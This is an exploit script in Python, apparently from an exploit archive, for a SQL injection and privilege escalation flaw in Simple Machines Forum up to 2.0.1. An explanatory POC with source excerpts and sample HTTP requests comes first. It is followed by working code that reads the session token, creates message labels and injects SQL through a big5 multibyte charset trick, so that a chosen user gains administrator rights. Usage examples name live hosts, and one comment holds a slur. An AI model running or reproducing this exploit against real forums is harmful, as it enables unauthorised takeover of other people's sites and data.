1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 |
#!/usr/bin/python # -*- coding: iso-8859-15 -*- # # # Exploit Title: Smf <= 2.0.1 Sql injection Vulnerability # Author: The:Paradox # Disclosure date: 06/12/2011 # Software Link: http://download.simplemachines.org/ , http://www.php.net/releases/ # # # Smf <= 2.0.1 Sql injection Vulnerability # - Priviledge escalation exploit # # INTRO: # # # ------- ENGLISH ------- # # Just disclosing all old/useless stuff on my hard drive. # # Nice vulnerability but too much target requirements: PHP5 < 5.1.4 or PHP4 < 4.4.3 (php Zend_Hash_Del_Key_Or_Index vulnerability affected version) # Successfully tested on PHP versions < 5.1.4 # # This exploit was written for version 1.1.5, updated to 1.1.11. I checked some sources, I bet it's actually working on all versions (last version is 2.0.1) # Note: PHP4 calculed hash seems to be wrong, somehow can't get correct Zend_Hash_Del_Key_Or_Index Vulnerability hash, whatever. # # # # ------- ITALIANO ------- # # Pubblicando tutto cio' che è diventato inutile o troppo vecchio che ho sul mio disco rigido. # # Vulnerabilità davvero intricata e carina, ma i target possibili effettivi sono davvero pochi visti i requirements:PHP5 < 5.1.4 or PHP4 < 4.4.3 (php Zend_Hash_Del_Key_Or_Index vulnerability) # # Questa vulnerabilità esiste perchè nella realtà dei fatti i programmatori di smf non hanno mai ben compreso la mia precedente advisory, # e fixando un po' alla meno peggio hanno mandato in conflitto due filtri di diverso tipo. # E' davvero divertente vedere come la supponenza dei programmatori di smf sia arrivata a commentare in modo da indicarmi esattamente # dove cercare la vulnerabilità. Commento testuale: <<Numeric keys in cookies are less of a problem. Just unset those>>, ed è proprio per questo "diverso # trattamento" (chissà perchè poi) che la vulnerabilità esiste. # # L'exploit è stato scritto per 1.1.5 e precedenti, riadattato alla 1.1.11, e, attualmente, dando un'occhiata ai sorgenti, sono pronto a scommettere che funziona su # tutte le versioni attuali (2.0.1 è l'ultima al momento del rilascio). # # Il poc qui sotto è scritto in un inglese cacofonico e altamente comprensibile ad un italiano, credo che fare una traduzione sia davvero superfluo, spero di non creare problemi # di comprensione perchè questo exploit è davvero a solo "Educational Purpose" visto che cercare versioni php così vecchie che montino smf è come cercare un # ago in un pagliaio. # # Per motivi che non comprendo, l'hash php4 di Zend_Hash_Del_Key_Or_Index Vulnerability non è corretto e non sono riuscito a generarlo, correggetelo nel caso vogliate testare su php4. # Testata con successo sulle versioni vulnerabili di php5 # # """ <POC> Smf <= 1.1.11 Sql injection Vulnerability - Priviledge escalation exploit // The:Paradox I said in my last smf advisory that 1.1.5 version was safe from sql code injections affecting the previous version. Now here we are to show how that's not really true. The "patch code" (File index.php, lines 45-48) is useless in PHP 5 version < 5.1.4 and PHP 4 version < 4.4.3 First, let's see some source code: File: index.php ---------------------------------------------------------- 45. // Make sure some things simply do not exist. 46. foreach (array('db_character_set') as $variable) 47. if (isset($GLOBALS[$variable])) 48. unset($GLOBALS[$variable]); 49. 50. // Load the settings... 51. require_once(dirname(__FILE__) . '/Settings.php'); 52. 53. // And important includes. 54. require_once($sourcedir . '/QueryString.php'); 55. require_once($sourcedir . '/Subs.php'); 56. require_once($sourcedir . '/Errors.php'); 57. require_once($sourcedir . '/Load.php'); 58. require_once($sourcedir . '/Security.php'); [...] 78. // Load the settings from the settings table, and perform operations like optimizing. 79. reloadSettings(); 80. // Clean the request variables, add slashes, etc. 81. cleanRequest(); ---------------------------------------------------------- File: Sources/Load.php ---------------------------------------------------------- 138. function reloadSettings() 139. { 140. global $modSettings, $db_prefix, $boarddir, $func, $txt, $db_character_set; 141. global $mysql_set_mode, $context; 142. 143. // This makes it possible to have SMF automatically change the sql_mode and autocommit if needed. 144. if (isset($mysql_set_mode) && $mysql_set_mode === true) 145. db_query("SET sql_mode='', AUTOCOMMIT=1", false, false); 146. 147. // Most database systems have not set UTF-8 as their default input charset. 148. if (isset($db_character_set) && preg_match('~^\\w+$~', $db_character_set) === 1) 149. db_query(" 150. SET NAMES $db_character_set", __FILE__, __LINE__); ---------------------------------------------------------- File: Sources/QueryString.php ---------------------------------------------------------- 83. function cleanRequest() 84. { 85. global $board, $topic, $boardurl, $scripturl, $modSettings; 86. 87. // Makes it easier to refer to things this way. 88. $scripturl = $boardurl . '/index.php'; 89. 90. // Save some memory.. (since we don't use these anyway.) 91. unset($GLOBALS['HTTP_POST_VARS'], $GLOBALS['HTTP_POST_VARS']); 92. unset($GLOBALS['HTTP_POST_FILES'], $GLOBALS['HTTP_POST_FILES']); 93. 94. // These keys shouldn't be set...ever. 95. if (isset($_REQUEST['GLOBALS']) || isset($_COOKIE['GLOBALS'])) 96. die('Invalid request variable.'); 97. 98. // Same goes for numeric keys. 99. foreach (array_merge(array_keys($_POST), array_keys($_GET), array_keys($_FILES)) as $key) 100. if (is_numeric($key)) 101. die('Invalid request variable.'); 102. 103. // Numeric keys in cookies are less of a problem. Just unset those. 104. foreach ($_COOKIE as $key => $value) 105. if (is_numeric($key)) 106. unset($_COOKIE[$key]); ---------------------------------------------------------- Now, focus on the db_character_set patch code (lines 45-48, index.php). Unset() function is called, and is well known that it is pretty vulnerable in old php versions (see: Stefan Esser's Zend_hash_del_key_or_index vulnerability). Whatever smf authors are not imprudent coders and they perfectly know what that means. In fact in cleanRequest() function the script dies (line 99-101, Sources/QueryString.php) if any numeric variable in Post, Get or Files arrays was set. Focus on the index.php. Do you see anything vulnerable? The "ZHDKOI patch" is called after the "db_character_set patch" is executed. Let's have a try? ------------------------- PHP version: 5.0.2 Smf version: 1.1.6 Request 1: >>> GET /smf/?db_character_set=1 Host: localhost <<< All works regularly. Request 2: >>> GET /smf/?db_character_set=1&1102461922=1 Host: localhost <<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 1 --------------------- At this point, we have another problem. Even if we have successfully bypassed the db_character_set patch, the script will die as soon as cleanRequest() is called, because our numeric variable was unset in GLOBALS array but not in GET one. In fact if we try to give a valid value to db_character_set... --------------------- Request 3: >>> GET /smf/?db_character_set=big5&1102461922=1 Host: localhost <<< Invalid request variable. --------------------- The script will die (l. 101, QueryString.php) Whatever, as the comment at line 103 (QueryString.php) says, platform's authors had judged that "Numeric keys in cookies are less of a problem" and to "just unset those". Therefore if we set our numeric variable in COOKIE array, we'll successfully bypass the patch and the script will execute without exiting. Let's try it: --------------------- Request 4: >>> GET /smf/?db_character_set=1 Host: localhost Cookie: 1102461922=1; <<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 1 Request 5: >>> GET /smf/?db_character_set=big5 Host: localhost Cookie: 1102461922=1; <<< All works regularly. --------------------- In short, the vulnerability exists because "ZHDKOI vulnerability checks" are done only AFTER the patch code is executed. At this point, as showed in the previous advisory, a big percentage of sql queries are vulnerable making sql code injection possible. Have fun =D Discovered: about 1 week after SMF 1.1.5 release </POC> """ from sys import argv, exit from httplib import HTTPConnection from urllib import urlencode, unquote from time import sleep print """ #=================================================================# # Simple Machines Forum <= 1.1.4# #Sql Injection Vulnerability# # Priviledge Escalation Exploit # # # # Adapted to work either for 2.0.1 and below# # # # Spongebob approved this exploit # # # #.--..--..--..--..--..--. # #.' \(<code>._ (_) _ \ # #.'|'._) (_)| # #\ _.')\.----..---. / # #|(_.'|/.-\-.\| # #\ 0|| ( O| O) | o| # # |_|.--.____.'._.-.| # # \ (_) | o -</code> .-<code>| # #|\ |</code>-._ _ _ _ _\ /# #\| |<code>. |_||_| |# #| o|\_\ | -. .-. # #|.-.\ </code>--..-' O | <code>.</code>-' .' # #_.'.' | <code>-.-'/-.__ ' .-' # #.' </code>-.<code> '.|='=.='=.='=.='=|._/_ </code>-'.'# #<code>-._</code>.|________/\_____|<code>-.'# # .' ).| '=' '='\/ '=' |# # </code>._.`'---------------'# # //___\ //___\ # # || || # # ||_.-. ||_.-. # #(_.--__) (_.--__)# # # #====================================#============================# # Server Configuration Requirements## #====================================## # SMF <= 1.1.4 register_globals = 1 # # # # 1.1.4 < SMF <= 1.1.11register_globals = 1 # #PHP5 < 5.1.4 or PHP4 < 4.4.3 # #=================================================================# # Usage:# #./Exploit [Target] [Path] [PHPSessID] [Userid] # # # # Example:# #./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 # #./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 # #=================================================================# # email: wegotyourbox[at]gmail[dot]comThe:Paradox # #=================================================================# # POC inside: PLEASE -READ- before use # #=================================================================# """ # just answering someone: PHPSESSID IS "YOUR" LOGIN COOKIE FAGS # Thanks LGB for ascii art if len(argv) <= 4: exit() sn = "PHPSESSID" # Session cookie name. You may have to change this. port = 80 target = argv[1] path = argv[2] sv = argv[3] uid = argv[4] class killsmf: def __init__(self): print "[.] Exploit Starts." self.GetSesc() self.CreateLabels() self.Inject() print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-" def GetSesc(self): print "[+] Trying to read Sesc" for i in range (0,2): conn = HTTPConnection(target,port) conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"}) rsp = conn.getresponse() r = rsp.read() if rsp.status == 404: exit ("[-] Error 404. Not Found") elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />') != -1 : self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0] if len(self.sesc) != 32: exit ("[-] Invalid Sesc") print "[+] Sesc has been successfully read ==> "+self.sesc else: exit ("[-] Unable to find Sesc") def CreateLabels(self): print "[+] Creating three labels..." for i in range (0,3): conn = HTTPConnection(target,port) conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"}) sleep(4) def Inject(self): print "[+] Sql code is going to be injected." conn = HTTPConnection(target,port) conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + "; 1102461922=1; -1283274824=1;"}) killsmf() |